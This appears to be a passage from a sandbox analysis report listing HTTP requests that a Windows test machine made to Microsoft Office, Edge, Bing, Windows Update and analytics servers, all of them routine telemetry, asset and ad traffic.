Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239389015250_1EM28GMNOE6XCF0WZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=3d0ccc6b1b8a4920ab20f5c490b46801&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004121Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1a69b17d0fb24037aa643c4b78c21e7b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-88000045&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOkDnLpuoVUv9LEyC9W/SLMLOeMnEX1atSoTt6TLad4hOPjHOYiSt8rr8zPSCwkd4GdfQxAfgIFWicjBOriyxFAF4P4Tnh/Sh6C6bEKv99RnDUUNJ2RRxct8mwOXkDbULtBNaHClN9dGo1x5d2o0yROEW9ei+rKZFq0sCLbaJnb1KRLsY+1uCVUlJajzedO14HNnTJyPVF3VosWuQ/qKgyL1PyFyREXYAA3106vzCQmSYShHFF7Jxnzu9BvsrISdHbGllEEHmT1OX0D3G8MJ2oPh3DAtTz8kYufT2mprjfysmADZlL/OuhalyQgBqpc1DipcNflvbhNrkKRi4miQx4QZgAAELHGmkeITw2Xqd9oZrITaXSwAYJpCOxhD04HNyox8lSGDwTrKvhRzhUJqFjUSaB56IwZyVqx1IlM3x1BWdGwJkACQZMlJuzQcHwUrbXiuWk1Y+m3Do0Mpgp6lzPYjTQkdFkaSmNkufZmnJ+QUh2Yv7qNSFlXLvOsfsyZvwX9IJK48WUWv+hvvPD+igb6p4YphnPRpPwJB6yzUkwL30Bh1EUm8agaU3UNPufWJSkzLAXkSd052/HneK75xsj/bW2/WAVDbjZfnphvOG1L8I4/xpZj27QtCaVlOCpgFxwE41iS6UmyapYnUXsgrwxhlYASIcoUCHdytvvQbnpqJO2YstZCp4wumNTstRF/LT7KG3VSR/HEAFqwb1JncwNp9iEbxtn/0rT3qI2oPWDMxndWeaXNDF7Fk5WxBfJwZzI00DfX5IPwNBv3op/Eys5NVlKQ9LuLmfJFBDYtAb8DPJ1S3UqoU5C2iqm+OKILw0rjqZIhGI5Ay13qrmi+q3c+0mdOPto0JTdKgiX5lttJd0cfrHQ+r/4MLu0jEDfXN5h3CSMMsjOOSr8+Y/W8JMQTwYKN1qtILcjGREgaA2ckroBrv6JnEdcB&p=Cache-Control: no-cacheMS-CV: jR7iF89gPk6v5iyt.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Cv949bFwnRTgu3r&MD=OnYbVzm8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=3d0ccc6b1b8a4920ab20f5c490b46801&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=2F3E41AB083864DB3DDF54E8095A655C; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=3d0ccc6b1b8a4920ab20f5c490b46801&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=2F3E41AB083864DB3DDF54E8095A655C; MSPTC=tLXqB2Bn8AfPH3X9w-bp-lWDWgAZN3Tc1Q712ATrwg4; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
